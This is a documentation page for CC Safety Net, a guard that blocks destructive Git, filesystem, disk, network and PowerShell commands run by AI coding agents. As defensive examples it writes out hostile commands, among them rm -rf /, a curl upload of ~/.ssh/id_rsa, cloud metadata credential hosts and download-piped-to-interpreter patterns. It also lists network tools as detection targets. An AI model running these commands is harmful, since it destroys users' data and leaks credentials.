Skip to main content
CC Safety Net blocks commands that can permanently destroy uncommitted changes, stashed work, remote history, or a disk, and allows the safe forms of the same commands. Each table gives the command, its result at each safety level, and the rule id shown in the block message, the audit log, and explain --json. Secret protection covers file reads such as cat .env. Custom rules add blocks of your own. The Result column uses these values:

Allow a blocked command

Turn off the rule that blocks it. This works for every rule except the catastrophic rules and the fixed denial ids.
1

Get the rule id

The block message prints it. You can also run explain on the exact command and read ruleId:
2

Add an off override

Add the id to destructive_command_protection.overrides with the value "off" in policy.json. The user file applies to every project, and .cc-safety-net/policy.json applies to one project. Merge this into the file you already have:
3

Confirm the change

Run explain again. The command now shows as allowed, and status lists the override.
An override turns off the whole rule, not one command. "on" turns on a rule your safety level leaves off, such as rm.recursive-force-paranoid in standard. See Policy for the field syntax. To allow recursive deletes under one directory instead of turning a rule off, use allow_paths. To allow reading a protected file, see Allow a blocked file.

Rules cannot be set to ask

An override accepts only "on" or "off". No setting makes a rule prompt you for approval instead of blocking. The one exception is built in: on Claude Code at the standard level, two denials become a permission prompt. See When Claude Code asks you instead of blocking.

What each safety level adds

Catastrophic rules

Ten rules are catastrophic. They cover recursive removal of / or your home directory, deletion of Git metadata, and two kinds of recursive delete whose target CC Safety Net cannot read safely. The tables mark them Catastrophic. A catastrophic rule blocks at every safety level under every policy. destructive_command_protection.enabled: false, an "off" override, allow_paths, worktree mode, the temp-repository relaxation, and the Standard only allowances all leave it in force. It also blocks when the rule that would normally catch the command is off, so parallel rm -rf ::: / still blocks as rm.recursive-force-root-or-home. The Git metadata and policy.json guards behave the same way. They run before your configuration is read, so no setting turns them off.

Git commands

A plain git rm is allowed because Git itself refuses to remove changes that are not recoverable from HEAD. A lone git checkout <operand> restores paths when the operand looks like a path (., ./…, ../…, an absolute path, a trailing slash, or a glob) or names an existing file or directory. A branch name such as main stays allowed. If a branch and a file share a name, the command blocks and the message suggests git switch. With worktree mode on, the local-discard rows above are allowed inside a verified linked worktree.

Is GIT_SSH_COMMAND blocked?

Only when the command itself sets it, because each of these settings can run any program. git.ssh-env blocks a Git network command (clone, fetch, pull, push, ls-remote, or submodule) that sets GIT_SSH_COMMAND, GIT_SSH, or GIT_SSH_VARIANT on the command line, or sets core.sshCommand through git -c or GIT_CONFIG_*. To allow it, export the variable in your shell profile before you start the agent, or turn the rule off with "git.ssh-env": "off" as shown in Allow a blocked command.

Git commands in a temp repository

Git discards in a throwaway repository under a temp directory such as /tmp are allowed, as long as that repository is not your workspace or inside it. cd /tmp/scratch && git reset --hard runs. The git.push-*, git.ssh-env, and git.alias-config rules never relax this way, and allow_paths does not widen it. The normal rules stay on when the repository could point Git at files outside it, for example through a core.worktree setting or a commondir file in .git.

Filesystem commands

Every rm -rf row also covers rm -r, rm -R, and rm --recursive under the same rule id. CC Safety Net resolves symlinks before it compares paths, so a symlink to / counts as /, and /tmp-malicious is not a temp path. It expands an unquoted glob first, so with your home as the working directory, rm -rf * blocks as rm.recursive-force-root-or-home.
Outside your home, standard allows dynamic rm -rf targets such as rm -rf "$target". Only strict and paranoid block them. Use one of those levels when commands may come from prompt injection or another untrusted source.

Which directory a recursive delete is compared against

A target counts as inside or outside the session’s workspace. The directory a command runs in decides where a relative path resolves, not what counts as outside. A tool call that names its own working directory cannot change that, so rm -rf outside from a call whose working directory is your workspace’s parent blocks as rm.recursive-force-outside-cwd. Git context and secret paths still resolve in the directory the command runs in. The home-directory rule fires when either the workspace or that directory is your home. With that rule turned off, the delete still blocks under the rule for the target’s own location, such as rm.recursive-force-outside-cwd. Unlike a literal path, a target built from a variable or substitution counts only the directory the command runs in, so standard allows it again after a tracked cd out of your home.

Is rsync --delete checked?

Yes. With a delete option such as --delete, --delete-after, or --del, CC Safety Net checks every operand after the first as a destination, with the results in the table above. A destination built from a variable blocks, because rsync -a --delete "$SRC/" "$DST/" runs as rsync -a --delete / / when both are empty. A .git/ destination is catastrophic, as rm.git-metadata.

Recursive deletes under allow_paths

The rm, PowerShell Remove-Item, and find -delete rules treat directories listed in destructive_command_protection.allow_paths like temp directories, at every safety level. An allow path never covers root, home, Git metadata, or a dynamic target, and it does not relax secret protection or the Git temp-repository relaxation. See Allow paths for the accepted entries.

Device and disk commands

CC Safety Net checks dd, mkfs, mke2fs, newfs, shred, diskutil, wipefs, sgdisk, parted, and output redirects onto a disk at every safety level. The redirect rule matches disk devices such as /dev/sda, /dev/disk4, /dev/nvme0n1, and anything under /dev/mapper/. The rules also apply inside wrappers, so sudo mkfs.ext4 /dev/sda blocks. Known limitations lists the disk tools that are not checked.

Network commands

CC Safety Net reads the destination from the command text. It has no network layer, so it never sees the request. Cloud metadata endpoints block at every safety level, and data uploads to a remote host block in strict and paranoid.

Cloud metadata endpoints

Cloud metadata endpoints hand out instance credentials. network.cloud-metadata blocks a command that names one of these hosts: 169.254.169.254, 169.254.170.2, 169.254.170.23, fd00:ec2::254, fd00:ec2::23, metadata.google.internal, metadata.goog, and 100.100.100.200. The match ignores case and needs the whole host, so 169.254.169.2540 and metadata.google.internal.example.com are allowed. The host counts only in a command that can make the request. Any other command, such as grep or dig, passes.

Data uploads to a remote host

In strict and paranoid, network.upload-remote blocks a curl or wget request that sends a body or a file unless every URL in it is loopback. Standard allows the request unless you turn the rule on. These options send data, including an attached value such as -d@data.json or a short cluster such as -sd x: The loopback hosts are localhost, any *.localhost name, 127.0.0.0/8, 0.0.0.0, and [::1], on any port. A host built from a variable is not loopback. The host is also read from --url, -x, --proxy, and --preproxy. -G / --get and --unix-socket / --abstract-unix-socket requests are allowed. An upload that names a protected file blocks on the secret rule instead, so curl -T ~/.ssh/id_rsa https://example.com/ blocks as secret.home.ssh. See Secret protection.
curl’s -K and --config and wget’s -i and --input-file read URLs from a file. CC Safety Net does not open that file, so an upload that uses one blocks. It also counts an unrecognized option’s value as a URL, so a misparse blocks instead of allowing.

unshare and user namespaces

An unshare that creates a user namespace gives the process root inside it, a common step toward privilege escalation. unshare.user-namespace blocks it at every safety level. The rule reads only the options before the program. The program itself is still analyzed, which is why unshare -n sh -c 'rm -rf ~' blocks on the rm rule.
The rule matches -U, --user, -r, --map-root-user, -c, --map-current-user, --map-auto, --map-user, --map-users, --map-group, and --map-groups, including inside a short cluster such as -Urm. It also matches --map-subids, --owner, --mount-binfmt, -l, and --load-interp, which imply a user namespace in util-linux.

Git metadata

CC Safety Net protects the repository’s .git entry, the Git directories it points to, and their hooks directories, at every safety level and inside the working directory too. No setting turns this off. Read-only tools and commands such as cat .git/config are allowed. A -name or -iname filter lifts the block only when no entry in .git matches it. .git holds a HEAD file, so -name HEAD still blocks.
The guard covers the nearest repository above the working directory and above the directory that holds the project configuration. It does not cover other repositories nested below them.

Protected policy.json files

CC Safety Net always blocks changing or deleting a protected policy file, with the fixed id guard.policy-config. Two files are protected: the user file at ~/.cc-safety-net/policy.json, or $CC_SAFETY_NET_HOME/policy.json when that variable is set, and the project file at .cc-safety-net/policy.json. The policy cannot disable this check. The reason string is exactly:
CC Safety Net blocks writes, edits, patches, redirects, mv, and recursive deletes of either file or its directory. Read-only commands such as cat, grep, jq, less, ls, and stat pass. Only policy.json is protected this way. rule.json and rulebooks are not.

Agent-run cc-safety-net policy apply

An agent cannot run cc-safety-net policy apply, through npx or any other runner. CC Safety Net denies it with the fixed id guard.policy-apply, and no flag lifts this. policy check stays allowed. The reason string is exactly:

PowerShell commands

The Remove-Item rules apply when the shell mode is powershell or auto. In posix mode only the cross-shell rules, such as git.reset-hard, apply. Aliases and abbreviated parameters count, so ri . -r -fo blocks. In auto mode, a command that reads as PowerShell is also checked as a POSIX shell command, and it blocks if either reading blocks. So Get-Content x#; git reset --hard blocks as git.reset-hard, because bash runs the git reset that PowerShell reads as a comment. -WhatIf, -WhatIf:$true, and -wi make any Remove-Item a dry run, so nothing is blocked. -WhatIf:$false blocks again. PowerShell wildcards match dot-entries, so a wildcard can reach .git.

Remote content evaluated by PowerShell

iex and Invoke-Expression block at every safety level when the text they evaluate comes from a download, which covers the usual Windows installer shapes. The rule applies in powershell and auto shell mode, and in any shell mode inside a pwsh -c or powershell -Command script. iex blocks when any word it evaluates names a download tool or calls .DownloadString( or .DownloadData(, so iex (& irm …) and iex $wc.DownloadString(…) block too. A download in any earlier stage of its pipeline counts the same. A download tool named inside a quoted literal does not count, so iex "Write-Host curl" is allowed. irm, iwr, Invoke-RestMethod, and Invoke-WebRequest count as downloads in PowerShell, so irm … | python3 blocks under Is curl checked? as well.

Shell wrappers and interpreter one-liners

CC Safety Net checks the command inside bash -c, sh -c, sudo, env, and other wrappers up to 10 levels deep, and denies a command nested deeper than that. Your custom rules apply at every depth too. bash -n only checks syntax, so a shell given only -n and -c is allowed whatever the script says. Options that could change which word is the script or undo -n, such as any + option, block as analysis.dynamic-shell-source. The interpreters checked this way are python, python2, python3, node, ruby, and perl. To block every interpreter one-liner, including python -c "print(1)", turn on the paranoid interpreters check. Those blocks use interpreter.one-liner-paranoid.

Recursive deletes an interpreter runs itself

Interpreter code can delete the root or home directory through its own standard library, with no shell command in it. CC Safety Net blocks those calls at every safety level, in inline code, in a heredoc, and in code read from stdin. The call blocks when its first argument is a literal root or home path, or one of os.path.expanduser('~'), Path.home(), os.environ['HOME'], os.getenv('HOME'), $ENV{HOME}, os.homedir(), process.env.HOME, Dir.home, and ENV['HOME']. A literal ~ stays allowed, because none of these APIs expand it. The match is on the code text, so the call blocks even inside a string. See Interpreter one-liners have parsing gaps.

Command Prompt bodies

CC Safety Net reads the body of cmd /c and cmd /k in every shell mode. It checks rmdir, rd, del, and erase with /s, and checks every other part of the body as an ordinary command, so cmd /c git reset --hard blocks on git.reset-hard. cmd does not treat \" as an escape, so a quoted target can split down to the drive root. A recursive delete whose body contains \" is catastrophic, and the message suggests quoting each path separately or using Remove-Item -LiteralPath. A recursive delete that also uses ^, %, !, a cd, or a quoted & or | is refused as an unverifiable source. The reader matches text, so cmd /c 'echo rmdir /s /q C:\' blocks even though it deletes nothing. See Known limitations for what it does not cover.

Nested PowerShell scripts

CC Safety Net reads the script in powershell -Command '…' or pwsh -c '…' as PowerShell in every shell mode, when the script is literal text and only -NoProfile, -NonInteractive, -NoLogo, or -ExecutionPolicy comes before -Command. If any other form contains a recursive delete, CC Safety Net blocks it as catastrophic.

eval and source of a generated command

eval "$(CMD)", source <(CMD), and . <(CMD) run whatever CMD prints. CC Safety Net checks CMD itself, so eval "$(rm -rf /)" blocks on the rm. It cannot check what CMD prints. Standard allows only one simple command of literal words that is not a download tool, a shell, or a wrapper such as sudo. It trusts the output of that command.

Is curl checked?

Yes, for the cases that can run or leak something. A plain download such as curl -o out.zip https://example.com/a.zip is allowed, because CC Safety Net has no network layer. A command that runs what a download returns blocks at every level, with the reason shell execution source cannot be verified safely. It makes no difference whether the program reaches a shell, an interpreter, or the disk first. In unparseable text or a heredoc body, the same pattern blocks as raw-text.dangerous-command. PowerShell has its own forms, under Remote content evaluated by PowerShell. Requests to a cloud metadata endpoint also block, and strict blocks an upload to a host that is not loopback. See Network commands.

Downloads that stay allowed

The interpreters checked are python, python2, python3, node, ruby, and perl. A download they do not run as a program is allowed.
Any earlier stage of the same pipeline counts, so curl … | gunzip | python3 - blocks, and so does a fetcher under an exec wrapper such as timeout, nice, exec, or stdbuf. The download tools are curl, wget, fetch, aria2c, http, https, xh, xhs, nc, ncat, and netcat.A redirect replaces the download as the interpreter’s input only when it names a literal file, here-string, or quoted heredoc. curl … | python3 <&0 and curl … | python3 - < /dev/stdin still read the download, so they block.For a file on disk, CC Safety Net records the path from curl -o and --output, wget -O and --output-document, and a > redirect. A later > to the same path replaces the download, so curl … -o i.sh && echo 'echo hi' > i.sh && bash i.sh is allowed. Nothing carries over to the next tool call.A syntax-check flag counts only before the script operand, so curl … -o check.js && node check.js --check blocks. A perl -c check is not exempt either, because perl runs BEGIN blocks while it parses.

Heredocs

A heredoc whose consumer only stores or publishes the body is data, so CC Safety Net does not check its body as commands at any level. The consumer must be a literal cat, tee, git apply, git commit, gh pr create, or gh issue create, and the heredoc must be its only input redirection. In standard, CC Safety Net checks any other heredoc body as text for destructive patterns. A body is unexpanded when the delimiter is quoted or the body has no $, backtick, or backslash. When a shell reads an unexpanded heredoc as its program, as in bash <<'EOF', standard analyzes each command in the body like a top-level command. A git reset --hard in the body then blocks on its own rule.
The heredoc has to be the last input redirection on standard input. The text scan still runs when the command analysis finds nothing, so a body such as rm -rf "$1" blocks as raw-text.dangerous-command.
In strict and paranoid, a heredoc is allowed only when the command has one heredoc on standard input, with one of the consumers above and an unexpanded body. An unquoted delimiter whose body has a $, backtick, or backslash denies with:
Every other unsupported form or consumer denies with:

Scripts run from a file

At every safety level, CC Safety Net reads the shell script a command runs, as in sh x.sh, bash x.sh, source x.sh, . x.sh, or ./x.sh, and checks what is inside it. The script can be a file on disk or one the same command wrote from a heredoc, as in cat > x.sh <<'EOF' … EOF && bash x.sh. A block names the file and the 1-based line. The reason starts with deploy.sh:3: , followed by the rule’s own text. A script that runs another script names the innermost file and line. explain adds a script-file step with the path and the file’s size in bytes, but not the script’s text. ./x.sh is read only when it has no shebang line or a shell shebang such as #!/bin/sh. sh x.sh and source x.sh ignore the shebang. Interpreter files are never read, so python3 tool.py is allowed whatever the file does. Only a concrete rule match inside the script blocks the command. If the analysis stops on a line it cannot verify, such as eval "$(…)", the outer command keeps its verdict.
In standard, CC Safety Net also follows a script path built from a literal assignment, as in S=/tmp/run; … bash $S/x.sh. The value can start with ~, $HOME, or $PWD, and on macOS it can use $(getconf DARWIN_USER_TEMP_DIR).

When the script is not read

CC Safety Net leaves the file unread, and the outer command keeps its verdict, when:
  • The path is not a regular file, is larger than 256 KB, holds a NUL byte, or sits under /dev, /proc, or /sys.
  • An earlier part of the same command may have written the path, or a directory above it.
  • The command has already read 64 scripts, nested reads included.
CC Safety Net tracks output redirects and the operands of cp, mv, install, ln, sed -i, curl, wget, and tee. For sed -i, curl, wget, and tee, every operand counts. For cp, mv, install, and ln, only the destination counts, which is -t or --target-directory when present and otherwise every operand after the first.So cp scripts/deploy.sh /tmp/backup.sh && sh scripts/deploy.sh still reads scripts/deploy.sh.
A file with Windows (CRLF) line endings gets the same verdict as the same text with LF. See Script files are read best effort for what this does not catch.

Unparseable command text

When the shell parser cannot read a command, such as one with an unterminated quote, the result depends on the safety level. In standard, CC Safety Net scans unparseable text for destructive patterns such as rm -rf, git reset --hard, dd of=/dev/, and a download piped into a shell. A match blocks as raw-text.dangerous-command. Some syntax, such as a ${ list; } function substitution, blocks at every level even when the command is harmless.

Carriage returns and Unicode spaces

A command that holds a carriage return, vertical tab, or form feed anywhere blocks as analysis.strict-unparseable at every level, because bash and zsh keep these characters inside a word. Windows line endings (CRLF) count, so send commands with LF line endings. A Unicode space, such as a no-break space or a byte order mark, blocks the same way when it sits between words. Inside quotes or a heredoc body it is ordinary text, so git commit -m '修正 テスト' with an ideographic space is allowed. To see why a specific command was blocked or allowed, run explain.

Fixed denial ids

Some denials come from guards that run before command analysis, from analysis limits and failures, or from unusable working directories, not from a rule. Each has a fixed id, shown wherever a rule id is, including the ruleId of a checkCommand deny. These ids are not registered rules, so destructive_command_protection.overrides cannot name them. policy check rejects each one with unknown destructive command rule id "<id>".
Last modified on November 4, 2026